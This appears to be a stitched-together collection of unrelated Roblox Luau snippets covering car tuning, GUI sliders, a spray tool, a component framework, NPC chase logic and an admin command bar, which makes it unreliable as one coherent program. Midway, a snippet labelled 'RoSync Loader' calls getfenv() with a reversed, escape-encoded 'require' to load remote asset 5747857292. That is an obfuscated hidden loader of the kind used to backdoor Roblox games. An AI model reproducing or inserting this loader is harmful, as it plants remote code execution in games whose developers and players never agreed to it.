Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 4.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
---
|
script.Parent.Values.Gear.Changed:connect(function()
if script.Parent.Values.Gear.Value == -1 then
for index, child in pairs(car.Body.Lights.Rev:GetChildren()) do
child.Material = Enum.Material.Neon
car.DriveSeat.Reverse:Play()
end
else
for index, child in pairs(car.Body.Lights.Rev:GetChildren()) do
child.Material = Enum.Material.SmoothPlastic
car.DriveSeat.Reverse:Stop()
end
end
end)
while wait() do
if (car.DriveSeat.Velocity.magnitude/40)+0.300 < 1.3 then
car.DriveSeat.Reverse.Pitch = (car.DriveSeat.Velocity.magnitude/40)+0.300
car.DriveSeat.Reverse.Volume = (car.DriveSeat.Velocity.magnitude/150)
else
car.DriveSeat.Reverse.Pitch = 1.3
car.DriveSeat.Reverse.Volume = .2
end
end
|
-- Properties
|
local held = false
local step = 0.1
local percentage = 0
function snap(number, factor)
if factor == 0 then
return number
else
return math.floor(number/factor+0.5)*factor
end
end
UIS.InputEnded:connect(function(input, processed)
if input.UserInputType == Enum.UserInputType.MouseButton1 then
held = false
end
end)
SliderBtn.MouseButton1Down:connect(function()
held = true
end)
RuS.RenderStepped:connect(function(delta)
if held then
local MousePos = UIS:GetMouseLocation().X
local BtnPos = SliderBtn.Position
local SliderSize = Slider.AbsoluteSize.X
local SliderPos = Slider.AbsolutePosition.X
local pos = snap((MousePos-SliderPos)/SliderSize,step)
percentage = math.clamp(pos,0,1)
SliderBtn.Position = UDim2.new(percentage,0,BtnPos.Y.Scale, BtnPos.Y.Offset)
local old = percentage
wait()
if old ~= percentage then
game.Players.LocalPlayer.Character["Vibe Radio"].changevolume:FireServer(percentage)
end
end
end)
|
--Fade tween
|
local fadeInfo = TweenInfo.new(Fade, Enum.EasingStyle.Sine, Enum.EasingDirection.In)
local strechInfo = TweenInfo.new(Fade / 1.05, Enum.EasingStyle.Quint, Enum.EasingDirection.In)
local fadeGoal = {Transparency = 1}
|
------[RGB_SLIDER_MOVEMENT, RGB_TEXT_CHANGED]------
|
for z = 1, #ColorPickers do
for i = 1, #RGBSliders[z] do
----[STOP RGB SLIDER MOVEMENT]----
local function RGBSliderEnded(Input)
if Input.UserInputType == Enum.UserInputType.MouseButton1 then
IsDraggingSliders[i] = false
end
end
RGBSliderHitboxes[z][i].InputEnded:Connect(RGBSliderEnded)
----[CHECK FOR RGB SLIDER MOVEMENT]----
local function CheckForRGBSliderMovement()
if not IsDraggingSliders[i] then
IsDraggingSliders[i] = true
end
while IsDraggingSliders[i] do--and UIS:IsMouseButtonPressed(Enum.UserInputType.MouseButton1) do
wait()
local MouseLocation = Plugin:GetRelativeMousePosition()
if OldMouseLocation ~= MouseLocation then
RGBSliderMovement(MouseLocation.X, z, i)
OldMouseLocation = MouseLocation
end
end
IsDraggingSliders[i] = false
end
RGBSliderHitboxes[z][i].MouseButton1Down:Connect(CheckForRGBSliderMovement)
----[CHECK IF RGB TEXT CHANGED]----
local function RGBTextChanged()
if tonumber(RGBInputs[z][i].Text) == nil then
RGBInputs[z][i]. Text = "0"
elseif tonumber(RGBInputs[z][i].Text) <= 0 then
RGBInputs[z][i].Text = "0"
elseif tonumber(RGBInputs[z][i].Text) >= 256 then
RGBInputs[z][i].Text = "255"
end
PreviewColor[z].BackgroundColor3 = Color3.fromRGB(tonumber(RGBInputs[z][1].Text), tonumber(RGBInputs[z][2].Text), tonumber(RGBInputs[z][3].Text))
RGBSliders[z][i].Position = UDim2.new(0, PreviewColor[z].BackgroundColor3[rgb[i]] * RGBSliderHitboxes[z][i].AbsoluteSize.X, RGBSliders[z][i].Position.Y.Scale, 0)
end
RGBInputs[z][i].FocusLost:Connect(RGBTextChanged)
end
end
|
--Tune--
|
local StockHP = 450 --Power output desmos: https://www.desmos.com/calculator/wezfve8j90 (does not come with torque curve)
local TurboCount = 1 --(1 = SingleTurbo),(2 = TwinTurbo),(if bigger then it will default to 2 turbos)
local TurboSize = 50 --bigger the turbo, the more lag it has (actually be realistic with it) no 20mm turbos
local WasteGatePressure = 10 --Max PSI for each turbo (if twin and running 10 PSI, thats 10PSI for each turbo)
local CompressionRatio = 8/1 --Compression of your car (look up the compression of the engine you are running)
local AntiLag = true --if true basically keeps the turbo spooled up so less lag
local BOV_Loudness = 6 --volume of the BOV (not exact volume so you kinda have to experiment with it)
local BOV_Pitch = 0.8 --max pitch of the BOV (not exact so might have to mess with it)
local TurboLoudness = 2.3 --volume of the Turbo (not exact volume so you kinda have to experiment with it also)
|
--// Events
|
local placeEvent = Evt.Rappel:WaitForChild('PlaceEvent')
local ropeEvent = Evt.Rappel:WaitForChild('RopeEvent')
local cutEvent = Evt.Rappel:WaitForChild('CutEvent')
|
-- TODO: retry multiple time if HTTP call fail
|
local function getTextureId(id: number): number?
local assetInfo = MarketplaceService:GetProductInfo(id, Enum.InfoType.Asset)
if assetInfo.AssetTypeId == Enum.AssetType.Image.Value then
return id
elseif assetInfo.AssetTypeId == Enum.AssetType.Decal.Value then
return HttpService:GetAsync(`http://f3xteam.com/bt/getDecalImageID/{id}`)
end
return
end
Remote.OnServerEvent:Connect(function(plr, id: number | string, pos)
if Helper.Owner ~= plr then
return
end
local assetId = tonumber(tostring(id):match("%d+") or 0) :: number
if assetId == 0 then
return
end
local textureId = getTextureId(assetId)
if not textureId then
return
end
if textureId ~= 0 then
local rayOrigin = Tool.Handle.Position
local rayDestination = pos
local rayDirection = rayDestination - rayOrigin
if rayDirection.Magnitude >= 10 then
return
end
local raycastParams = RaycastParams.new()
raycastParams.FilterDescendantsInstances = {plr.Character}
raycastParams.FilterType = Enum.RaycastFilterType.Exclude
raycastParams.IgnoreWater = true
local raycastResult = workspace:Raycast(rayOrigin, rayDirection*2, raycastParams)
if (raycastResult) and raycastResult.Instance then
if raycastResult.Instance:FindFirstAncestorWhichIsA("Model") then
if raycastResult.Instance:FindFirstAncestorWhichIsA("Model"):FindFirstChildWhichIsA("Humanoid") then
return
end
end
if raycastResult.Instance:FindFirstAncestorWhichIsA("Tool") then
return
end
local sprays = {}
for _, i in ipairs(workspace.Sprays:GetChildren()) do
if i:GetAttribute("User") then
if i:GetAttribute("User") == plr.UserId then
table.insert(sprays, i)
end
end
end
if #sprays >= 3 then
if sprays[1] then
sprays[1]:Destroy()
end
end
Tool.Handle.Spray:Play()
local object = game.ServerStorage.PaintedObject:Clone()
object.Decal.Texture =`rbxassetid://{textureId}`
object.CFrame = CFrame.lookAt(raycastResult.Position, raycastResult.Position - raycastResult.Normal)
object:SetAttribute("User", plr.UserId)
object.Parent = workspace.Sprays
if raycastResult.Instance.Anchored == false then
object.Anchored = false
local c0 = raycastResult.Instance.CFrame:Inverse()
local c1 = object.CFrame:Inverse()
local weld = Instance.new("Weld")
weld.Parent = object
weld.Part0 = raycastResult.Instance
weld.Part1 = object
weld.C0 = c0
weld.C1 = c1
end
end
end
end)
|
--[[
Function called upon entering the state
]]
|
function PlayerPreGameReady.onEnter(stateMachine, serverPlayer, event, from, to)
local element = playerReady:Clone()
local playerName = serverPlayer.player.Name
element.Name = playerName
element.Text = playerName
element.Parent = playerStatusBoard
end
|
--[[
CameraUtils - Math utility functions shared by multiple camera scripts
2018 Camera Update - AllYourBlox
--]]
|
local CameraUtils = {}
local function round(num)
return math.floor(num + 0.5)
end
|
-- { id = "slash.xml", weight = 10 }
|
},
toollunge = {
{ id = "http://www.roblox.com/asset/?id=129967478", weight = 10 }
},
wave = {
{ id = "http://www.roblox.com/asset/?id=128777973", weight = 10 }
},
point = {
{ id = "http://www.roblox.com/asset/?id=128853357", weight = 10 }
},
dance = {
{ id = "http://www.roblox.com/asset/?id=130018893", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=132546839", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=132546884", weight = 10 }
},
laugh = {
{ id = "http://www.roblox.com/asset/?id=129423131", weight = 10 }
},
cheer = {
{ id = "http://www.roblox.com/asset/?id=129423030", weight = 10 }
},
}
|
--- Sets the hide on 'lost focus' feature.
|
function Cmdr:SetHideOnLostFocus(enabled)
self.HideOnLostFocus = enabled
end
|
-- Apply the mode override
|
Conf.applyOverride(Queue._gameMode)
|
--[[ Instances ]]
|
--
local Humanoid = waitForChild(lplr.Character, "Humanoid")
local Backing = waitForChild(sp, "LoadingBar")
local Bar = waitForChild(Backing, "Bar")
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]]
|
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local _Tune = require(car["A-Chassis Tune"])
local on = 0
script:WaitForChild("Idle")
if not FE then
for i,v in pairs(car.DriveSeat:GetChildren()) do
for _,a in pairs(script:GetChildren()) do
if v.Name==a.Name then v:Stop() wait() v:Destroy() end
end
end
for i,v in pairs(script:GetChildren()) do
v.Parent=car.DriveSeat
end
car.DriveSeat.Idle:Play()
while wait() do
local _RPM = script.Parent.Values.RPM.Value
if not car.DriveSeat.IsOn.Value then on=math.max(on-.015,0) else on=1 end
car.DriveSeat.Idle.Pitch = (car.DriveSeat.Idle.SetPitch.Value + car.DriveSeat.Idle.SetRev.Value*_RPM/_Tune.Redline)*on^2
end
else
local handler = car.AC6_FE_Idle
handler:FireServer("newSound","Idle",car.DriveSeat,script.Idle.SoundId,0,script.Idle.Volume,true)
handler:FireServer("playSound","Idle")
local pitch=0
while wait() do
local _RPM = script.Parent.Values.RPM.Value
if not car.DriveSeat.IsOn.Value then on=math.max(on-.015,0) else on=1 end
pitch = (script.Idle.SetPitch.Value + script.Idle.SetRev.Value*_RPM/_Tune.Redline)*on^2
handler:FireServer("updateSound","Idle",script.Idle.SoundId,pitch,script.Idle.Volume)
end
end
|
-- ================================================================================
-- InteractionManager
-- ================================================================================
--[[
This script runs locally for the player.
This script checks processes local player input on a TextButton and via
the UserInputService event InputBegan.
When a player interacts with the TextButton or presses KEY the game GUI
is opened unless the player is already interacting.
]]
|
--
|
--[[
Component.Auto(folder)
-> Create components automatically from descendant modules of this folder
-> Each module must have a '.Tag' string property
-> Each module optionally can have '.RenderPriority' number property
component = Component.FromTag(tag)
-> Retrieves an existing component from the tag name
component = Component.new(tag, class [, renderPriority])
-> Creates a new component from the tag name, class module, and optional render priority
component:GetAll()
component:GetFromInstance(instance)
component:GetFromID(id)
component:Filter(filterFunc)
component:WaitFor(instanceOrName)
component:Destroy()
component.Added(obj)
component.Removed(obj)
-----------------------------------------------------------------------
A component class must look something like this:
-- DEFINE
local MyComponent = {}
MyComponent.__index = MyComponent
-- CONSTRUCTOR
function MyComponent.new(instance)
local self = setmetatable({}, MyComponent)
return self
end
-- FIELDS AFTER CONSTRUCTOR COMPLETES
MyComponent.Instance: Instance
-- OPTIONAL LIFECYCLE HOOKS
function MyComponent:Init() end -> Called right after constructor
function MyComponent:Deinit() end -> Called right before deconstructor
function MyComponent:HeartbeatUpdate(dt) ... end -> Updates every heartbeat
function MyComponent:SteppedUpdate(dt) ... end -> Updates every physics step
function MyComponent:RenderUpdate(dt) ... end -> Updates every render step
-- DESTRUCTOR
function MyComponent:Destroy()
end
A component is then registered like so:
local Component = require(Knit.Util.Component)
local MyComponent = require(somewhere.MyComponent)
local tag = "MyComponent"
local myComponent = Component.new(tag, MyComponent)
Components can be listened and queried:
myComponent.Added:Connect(function(instanceOfComponent)
-- New MyComponent constructed
end)
myComponent.Removed:Connect(function(instanceOfComponent)
-- New MyComponent deconstructed
end)
--]]
|
local Maid = require(script.Parent.Maid)
local Signal = require(script.Parent.Signal)
local Promise = require(script.Parent.Promise)
local Thread = require(script.Parent.Thread)
local TableUtil = require(script.Parent.TableUtil)
local CollectionService = game:GetService("CollectionService")
local RunService = game:GetService("RunService")
local Players = game:GetService("Players")
local IS_SERVER = RunService:IsServer()
local DEFAULT_WAIT_FOR_TIMEOUT = 60
local ATTRIBUTE_ID_NAME = "ComponentServerId"
|
--attack function
|
function attack()
for i,v in pairs(workspace:GetChildren()) do
if v:FindFirstChild("Humanoid") then
if v ~= script.Parent then
if (v.Head.Position - script.Parent.Head.Position).Magnitude < damagerange then
v.Humanoid:TakeDamage(damage)
end
end
end
end
wait(0.3)
end
|
-- Clear any existing animation tracks
-- Fixes issue with characters that are moved in and out of the Workspace accumulating tracks
|
local animator = if Humanoid then Humanoid:FindFirstChildOfClass("Animator") else nil
if animator then
local animTracks = animator:GetPlayingAnimationTracks()
for i, track in ipairs(animTracks) do
track:Stop(0)
track:Destroy()
end
end
for name, fileList in pairs(animNames) do
configureAnimationSet(name, fileList)
end
|
--Once we've found a WeaponsSystem folder, we try to find a module in it by the same name.
|
local WeaponsSystemModule = WeaponsSystemFolder:WaitForChild("WeaponsSystem")
if not WeaponsSystemModule or not WeaponsSystemModule:IsA("ModuleScript") then
error("No WeaponsSystemModule in the WeaponsSystem found!")
end
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]]
|
local car = script.Parent.Car.Value
local vl = script.Parent.Values
local strength = 350
local max = 4 --in sps
while wait() do
if vl.Throttle.Value < 0.1 and vl.RPM.Value > 0 and vl.Velocity.Value.Magnitude < max and (math.abs(vl.Gear.Value) > 0) then
car.Body.Creep.BV.MaxForce = Vector3.new(strength,0,strength)
else
car.Body.Creep.BV.MaxForce = Vector3.new(0,0,0)
end
car.Body.Creep.BV.Velocity = car.Body.Creep.CFrame.lookVector*(8*(math.min(vl.Gear.Value,1)))
end
|
-- Components will only work on instances parented under these descendants:
|
local DESCENDANT_WHITELIST = {workspace, Players}
local Component = {}
Component.__index = Component
local componentsByTag = {}
local function IsDescendantOfWhitelist(instance)
for _,v in ipairs(DESCENDANT_WHITELIST) do
if (instance:IsDescendantOf(v)) then
return true
end
end
return false
end
function Component.FromTag(tag)
return componentsByTag[tag]
end
function Component.Auto(folder)
local function Setup(moduleScript)
local m = require(moduleScript)
assert(type(m) == "table", "Expected table for component")
assert(type(m.Tag) == "string", "Expected .Tag property")
Component.new(m.Tag, m, m.RenderPriority)
end
for _,v in ipairs(folder:GetDescendants()) do
if (v:IsA("ModuleScript")) then
Setup(v)
end
end
folder.DescendantAdded:Connect(function(v)
if (v:IsA("ModuleScript")) then
Setup(v)
end
end)
end
function Component.new(tag, class, renderPriority)
assert(type(tag) == "string", "Argument #1 (tag) should be a string; got " .. type(tag))
assert(type(class) == "table", "Argument #2 (class) should be a table; got " .. type(class))
assert(type(class.new) == "function", "Class must contain a .new constructor function")
assert(type(class.Destroy) == "function", "Class must contain a :Destroy function")
assert(componentsByTag[tag] == nil, "Component already bound to this tag")
local self = setmetatable({}, Component)
self.Added = Signal.new()
self.Removed = Signal.new()
self._maid = Maid.new()
self._lifecycleMaid = Maid.new()
self._tag = tag
self._class = class
self._objects = {}
self._instancesToObjects = {}
self._hasHeartbeatUpdate = (type(class.HeartbeatUpdate) == "function")
self._hasSteppedUpdate = (type(class.SteppedUpdate) == "function")
self._hasRenderUpdate = (type(class.RenderUpdate) == "function")
self._hasInit = (type(class.Init) == "function")
self._hasDeinit = (type(class.Deinit) == "function")
self._renderPriority = renderPriority or Enum.RenderPriority.Last.Value
self._lifecycle = false
self._nextId = 0
self._maid:GiveTask(CollectionService:GetInstanceAddedSignal(tag):Connect(function(instance)
if (IsDescendantOfWhitelist(instance)) then
self:_instanceAdded(instance)
end
end))
self._maid:GiveTask(CollectionService:GetInstanceRemovedSignal(tag):Connect(function(instance)
self:_instanceRemoved(instance)
end))
self._maid:GiveTask(self._lifecycleMaid)
do
local b = Instance.new("BindableEvent")
for _,instance in ipairs(CollectionService:GetTagged(tag)) do
if (IsDescendantOfWhitelist(instance)) then
local c = b.Event:Connect(function()
self:_instanceAdded(instance)
end)
b:Fire()
c:Disconnect()
end
end
b:Destroy()
end
componentsByTag[tag] = self
self._maid:GiveTask(function()
componentsByTag[tag] = nil
end)
return self
end
function Component:_startHeartbeatUpdate()
local all = self._objects
self._heartbeatUpdate = RunService.Heartbeat:Connect(function(dt)
for _,v in ipairs(all) do
v:HeartbeatUpdate(dt)
end
end)
self._lifecycleMaid:GiveTask(self._heartbeatUpdate)
end
function Component:_startSteppedUpdate()
local all = self._objects
self._steppedUpdate = RunService.Stepped:Connect(function(_, dt)
for _,v in ipairs(all) do
v:SteppedUpdate(dt)
end
end)
self._lifecycleMaid:GiveTask(self._steppedUpdate)
end
function Component:_startRenderUpdate()
local all = self._objects
self._renderName = (self._tag .. "RenderUpdate")
RunService:BindToRenderStep(self._renderName, self._renderPriority, function(dt)
for _,v in ipairs(all) do
v:RenderUpdate(dt)
end
end)
self._lifecycleMaid:GiveTask(function()
RunService:UnbindFromRenderStep(self._renderName)
end)
end
function Component:_startLifecycle()
self._lifecycle = true
if (self._hasHeartbeatUpdate) then
self:_startHeartbeatUpdate()
end
if (self._hasSteppedUpdate) then
self:_startSteppedUpdate()
end
if (self._hasRenderUpdate) then
self:_startRenderUpdate()
end
end
function Component:_stopLifecycle()
self._lifecycle = false
self._lifecycleMaid:DoCleaning()
end
function Component:_instanceAdded(instance)
if (self._instancesToObjects[instance]) then return end
if (not self._lifecycle) then
self:_startLifecycle()
end
self._nextId = (self._nextId + 1)
local id = (self._tag .. tostring(self._nextId))
if (IS_SERVER) then
instance:SetAttribute(ATTRIBUTE_ID_NAME, id)
end
local obj = self._class.new(instance)
obj.Instance = instance
obj._id = id
self._instancesToObjects[instance] = obj
table.insert(self._objects, obj)
if (self._hasInit) then
Thread.Spawn(function()
if (self._instancesToObjects[instance] ~= obj) then return end
obj:Init()
end)
end
self.Added:Fire(obj)
return obj
end
function Component:_instanceRemoved(instance)
self._instancesToObjects[instance] = nil
for i,obj in ipairs(self._objects) do
if (obj.Instance == instance) then
if (self._hasDeinit) then
obj:Deinit()
end
if (IS_SERVER and instance.Parent and instance:GetAttribute(ATTRIBUTE_ID_NAME) ~= nil) then
instance:SetAttribute(ATTRIBUTE_ID_NAME, nil)
end
self.Removed:Fire(obj)
obj:Destroy()
obj._destroyed = true
TableUtil.FastRemove(self._objects, i)
break
end
end
if (#self._objects == 0 and self._lifecycle) then
self:_stopLifecycle()
end
end
function Component:GetAll()
return TableUtil.CopyShallow(self._objects)
end
function Component:GetFromInstance(instance)
return self._instancesToObjects[instance]
end
function Component:GetFromID(id)
for _,v in ipairs(self._objects) do
if (v._id == id) then
return v
end
end
return nil
end
function Component:Filter(filterFunc)
return TableUtil.Filter(self._objects, filterFunc)
end
function Component:WaitFor(instance, timeout)
local isName = (type(instance) == "string")
local function IsInstanceValid(obj)
return ((isName and obj.Instance.Name == instance) or ((not isName) and obj.Instance == instance))
end
for _,obj in ipairs(self._objects) do
if (IsInstanceValid(obj)) then
return Promise.Resolve(obj)
end
end
local lastObj = nil
return Promise.FromEvent(self.Added, function(obj)
lastObj = obj
return IsInstanceValid(obj)
end):Then(function()
return lastObj
end):Timeout(timeout or DEFAULT_WAIT_FOR_TIMEOUT)
end
function Component:Destroy()
self._maid:Destroy()
end
return Component
|
-- Register's a newly added Motor6D
-- into the provided joint rotator.
|
function CharacterRealism:AddMotor(rotator, motor)
local parent = motor.Parent
if parent and parent.Name == "Head" then
parent.CanCollide = false
end
-- Wait until this motor is marked as active
-- before attempting to use it in the rotator.
Util:PromiseValue(motor, "Active", function ()
local data =
{
Motor = motor;
C0 = motor.C0;
}
-- If it can be found, use the source RigAttachment for this Motor6D
-- joint instead of using the static C0 value. This is intended for R15.
Util:PromiseChild(motor.Part0, motor.Name .. "RigAttachment", function (origin)
if origin:IsA("Attachment") then
data.Origin = origin
data.C0 = nil
end
end)
-- Add this motor to the rotator
-- by the name of its Part1 value.
local id = motor.Part1.Name
rotator.Motors[id] = data
end)
end
|
--// # key, Cruise
|
mouse.KeyDown:connect(function(key)
if key=="." then
veh.Lightbar.middle.Beep:Play()
veh.Lightbar.Remotes.CruiseEvent:FireServer(true)
end
end)
|
--//INSPARE//--
--SS3.57--
|
script.Parent:WaitForChild("CC")
|
--[[**
ensures value is a number where min <= value
@param min The minimum to use
@returns A function that will return true iff the condition is passed
**--]]
|
function t.numberMin(min)
return function(value)
local success, errMsg = t.number(value)
if not success then
return false, errMsg or ""
end
if value >= min then
return true
else
return false, string.format("number >= %d expected, got %d", min, value)
end
end
end
|
--[[Brakes]]
|
Tune.ABSEnabled = true -- Implements ABS
Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS)
Tune.FBrakeForce = 1350 -- Front brake force
Tune.RBrakeForce = 1550 -- Rear brake force
Tune.PBrakeForce = 2500 -- Handbrake force
Tune.FLgcyBForce = 15000 -- Front brake force [PGS OFF]
Tune.RLgcyBForce = 10000 -- Rear brake force [PGS OFF]
Tune.LgcyPBForce = 25000 -- Handbrake force [PGS OFF]
|
--[=[
The same as `SetFiler`, except clears the custom value
for any player that passes the predicate.
]=]
|
function RemoteProperty:ClearFilter(predicate: (Player) -> boolean)
for _, player in ipairs(Players:GetPlayers()) do
if predicate(player) then
self:ClearFor(player)
end
end
end
|
-- declarations
|
local Figure = script.Parent
local Head = waitForChild(Figure, "Head")
local Humanoid = waitForChild(Figure, "Humanoid")
|
-- a: amplitud
-- p: period
|
local function outElastic(t,a,p,b, c, d)
b,c,d = default(b,c,d)
if t == 0 then return b end
t = t / d
if t == 1 then return b + c end
if not p then p = d * 0.3 end
local s
if not a or a < abs(c) then
a = c
s = p / 4
else
s = p / (2 * pi) * asin(c/a)
end
return a * pow(2, -10 * t) * sin((t * d - s) * (2 * pi) / p) + c + b
end
|
--// Bullet Physics
|
BulletPhysics = Vector3.new(0,55,0); -- Drop fixation: Lower number = more drop
BulletSpeed = 2750; -- Bullet Speed
BulletSpread = 0; -- How much spread the bullet has
ExploPhysics = Vector3.new(0,20,0); -- Drop for explosive rounds
ExploSpeed = 600; -- Speed for explosive rounds
BulletDecay = 10000; -- How far the bullet travels before slowing down and being deleted (BUGGY)
|
--[[Engine]]
|
--Torque Curve
Tune.Horsepower = 625 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 0 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 14000 -- Use sliders to manipulate values
Tune.Redline = 15000
Tune.EqPoint = 6000
Tune.PeakSharpness = 5.5
Tune.CurveMult = 0.07
Tune.ElectricHorsepower = 250
Tune.ElectricEqPoint = 10000
Tune.ElectricPeakSharpness = 1.5
Tune.ElectricCurveMult = .01
Tune.InclineComp = 1.2 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 500 -- RPM acceleration when clutch is off
Tune.RevDecay = 250 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 0 -- Percent throttle at idle
Tune.ClutchTol = 1000 -- Clutch engagement threshold (higher = faster response, lower = more stable RPM)
Tune.ShiftTime = .025
Tune.FlyWheel = 50
Tune.CacheInc = 50
--Turbo Settings
Tune.Aspiration = "Natural" --[[
[Aspiration]
"Natural" : N/A, Naturally aspirated engine
"Single" : Single turbocharger
"Double" : Twin turbocharger ]]
Tune.Boost = 8 --Max PSI per turbo (If you have two turbos and this is 15, the PSI will be 30)
Tune.TurboSize = 50 --Turbo size; the bigger it is, the more lag it has.
Tune.CompressRatio = 8.2 --The compression ratio (look it up)
|
-- Main function that will be called when a player joins the game
|
local function PlayerJoined(player)
-- Secondary function to remove unwanted meshes from the player's character
local function RemoveMeshes(character)
-- Wait for the humanoid to load
local humanoid = character:WaitForChild("Humanoid")
-- Wait for a short time to ensure all accessories are loaded properly
task.wait()
-- Modify the description of the humanoid to reset its appearance
local currentDescription = humanoid:GetAppliedDescription()
currentDescription.Head = 0
currentDescription.Torso = 0
currentDescription.LeftArm = 0
currentDescription.RightArm = 0
currentDescription.LeftLeg = 0
currentDescription.RightLeg = 0
humanoid:ApplyDescription(currentDescription)
-- Remove any unwanted accessories that are not attached to the character's head
for _, accessory in pairs(character:GetChildren()) do
if accessory:IsA("Accessory") then
local handle = accessory:FindFirstChild("Handle")
if handle then
local weld = FindChildOfClassRecursive(accessory, "Weld") -- Use the recursive search function here
if weld then
end
if weld and weld.Part1.Name ~= character:FindFirstChild("Head").Name then
accessory:Destroy()
end
end
end
end
end
-- Connect the RemoveMeshes function to the CharacterAppearanceLoaded event of the player
player.CharacterAppearanceLoaded:Connect(RemoveMeshes)
end
|
--[[ Last synced 12/17/2020 10:32 || RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
|
--------------------------------------------------------------------------------
-- Popper.lua
-- Prevents your camera from clipping through walls.
--------------------------------------------------------------------------------
|
local Players = game:GetService('Players')
local Collection = game:GetService("CollectionService")
local FFlagUserPoppercamLooseOpacityThreshold do
local success, enabled = pcall(function()
return UserSettings():IsUserFeatureEnabled("UserPoppercamLooseOpacityThreshold")
end)
FFlagUserPoppercamLooseOpacityThreshold = success and enabled
end
local camera = game.Workspace.CurrentCamera
local min = math.min
local tan = math.tan
local rad = math.rad
local inf = math.huge
local ray = Ray.new
local function eraseFromEnd(t, toSize)
for i = #t, toSize + 1, -1 do
t[i] = nil
end
end
local nearPlaneZ, projX, projY do
local function updateProjection()
local fov = rad(camera.FieldOfView)
local view = camera.ViewportSize
local ar = view.X/view.Y
projY = 2*tan(fov/2)
projX = ar*projY
end
camera:GetPropertyChangedSignal('FieldOfView'):Connect(updateProjection)
camera:GetPropertyChangedSignal('ViewportSize'):Connect(updateProjection)
updateProjection()
nearPlaneZ = camera.NearPlaneZ
camera:GetPropertyChangedSignal('NearPlaneZ'):Connect(function()
nearPlaneZ = camera.NearPlaneZ
end)
end
local blacklist = {} do
local charMap = {}
local function refreshIgnoreList()
blacklist = {unpack(Collection:GetTagged("IgnoreCamera"))}
local n = #blacklist + 1
for _, character in pairs(charMap) do
blacklist[n] = character
n = n + 1
end
end
local function OnIgnoreCollectionUpdated(instance)
refreshIgnoreList()
end
local function playerAdded(player)
local function characterAdded(character)
charMap[player] = character
refreshIgnoreList()
end
local function characterRemoving()
charMap[player] = nil
refreshIgnoreList()
end
player.CharacterAdded:Connect(characterAdded)
player.CharacterRemoving:Connect(characterRemoving)
if player.Character then
characterAdded(player.Character)
end
end
local function playerRemoving(player)
charMap[player] = nil
refreshIgnoreList()
end
Collection:GetInstanceAddedSignal("IgnoreCamera"):Connect(OnIgnoreCollectionUpdated)
Collection:GetInstanceRemovedSignal("IgnoreCamera"):Connect(OnIgnoreCollectionUpdated)
Players.PlayerAdded:Connect(playerAdded)
Players.PlayerRemoving:Connect(playerRemoving)
for _, instance in next,Collection:GetTagged("IgnoreCamera") do
OnIgnoreCollectionUpdated(instance)
end
for _, player in ipairs(Players:GetPlayers()) do
playerAdded(player)
end
refreshIgnoreList()
end
|
--[[
function playsound(time)
nextsound=time+5+(math.random()*5)
local randomsound=sounds[math.random(1,#sounds)]
randomsound.Volume=.5+(.5*math.random())
randomsound.Pitch=.5+(.5*math.random())
randomsound:Play()
end
--]]
|
while sp.Parent~=nil and Humanoid and Humanoid.Parent~=nil and Humanoid.Health>0 and Torso and Head and Torso~=nil and Torso.Parent~=nil do
local _,time=wait(1/3)
humanoids={}
populatehumanoids(game.Workspace)
closesttarget=nil
closestdist=sightrange
local creator=sp:FindFirstChild("creator")
for i,h in ipairs(humanoids) do
if h and h.Parent~=nil then
if h.Health>0 and h.Parent.Name~=sp.Name and h.Parent~=sp then
local plr=game.Players:GetPlayerFromCharacter(h.Parent)
if creator==nil or plr==nil or creator.Value~=plr then
local t=h.Parent:FindFirstChild("Torso")
if t~=nil then
local dist=(t.Position-Torso.Position).magnitude
if dist<closestdist then
closestdist=dist
closesttarget=t
end
end
end
end
end
end
if closesttarget~=nil then
if not chasing then
--playsound(time)
chasing=true
Humanoid.WalkSpeed=runspeed
end
Humanoid:MoveTo(closesttarget.Position+(Vector3.new(1,1,1)*(variance*((math.random()*2)-1))),closesttarget)
if math.random()<.5 then
attack(time,closesttarget.Position)
end
else
if chasing then
chasing=false
Humanoid.WalkSpeed=wonderspeed
end
if time>nextrandom then
nextrandom=time+5+(math.random()*5)
local randompos=Torso.Position+((Vector3.new(1,1,1)*math.random()-Vector3.new(math.random(),math.random(),math.random()))*40)
Humanoid:MoveTo(randompos,game.Workspace.Terrain)
end
end
|
--Hide cmdbar and request command when FocusLost
|
local function setupEnterPress(props)
props.textBox.FocusLost:connect(function(enter)
if props.mainParent.Name ~= "CmdBar" or props.specificArg then
if props.suggestionDisplayed > 0 then
selectSuggestion(props, props.specificArg)
end
else
if props.suggestionDisplayed > 0 and not forceExecute and main.device ~= "Mobile" then
selectSuggestion(props)
elseif enter then
if forceExecute then
selectSuggestion(props)
--wait()
end
module:CloseCmdBar()
if #props.textBox.Text > 1 then
local commandToRequest = props.textBox.Text
local firstChar = string.sub(commandToRequest,1,1)
if firstChar ~= main.settings.UniversalPrefix and firstChar ~= main.pdata.Prefix then
commandToRequest = main.pdata.Prefix..commandToRequest
end
local endChar = string.sub(commandToRequest,-1)
if endChar == " " then
commandToRequest = string.sub(commandToRequest,1,-1)
end
main.signals.RequestCommand:InvokeServer(commandToRequest)
end
end
end
end)
end
